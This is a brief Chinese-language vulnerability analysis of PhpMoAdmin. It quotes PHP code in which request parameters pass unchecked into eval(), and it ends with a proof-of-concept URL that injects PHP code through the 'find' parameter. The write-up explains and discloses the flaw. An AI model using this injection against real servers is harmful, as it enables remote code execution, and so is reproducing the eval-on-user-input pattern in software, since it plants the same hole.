PhpMoAdmin漏洞分析报告

public function __construct() {          ….省略若干行…          $action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections');          if (isset($_POST['object'])) { //通过object参数传入              if (self::$model->saveObject($_GET['collection'], $_POST['object']))  //传入saveObject函数，导致代码漏洞{                  return $this->_dumpFormVals();

   public function saveObject($collection, $obj) {          eval('$obj=' . $obj . ';'); //$obj参数可控，传入Eval执行          return $this->mongo->selectCollection($collection)->save($obj);  }

public function listRows($collection) { foreach ($this->sort as $key => $val) { //cast vals to int  $sort[$key] = (int) $val; } $col = $this->mongo->selectCollection($collection); $find = array(); if (isset($_GET['find']) && $_GET['find']) {//通过get方法传入find变量  $_GET['find'] = trim($_GET['find']);  if (strpos($_GET['find'], 'array') === 0) {//$find简单判断变量是否以array开头，为真则进入漏洞位置   eval('$find = ' . $_GET['find'] . ';');//传入eval执行任意代码  } else if (is_string($_GET['find'])) {   if ($findArr = json_decode($_GET['find'], true)) {    $find = $findArr;   }  } } 

比较没有营养 随手搜搜就出来2个eval  安全脉搏小编辑就直接写了吧 http://ip/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;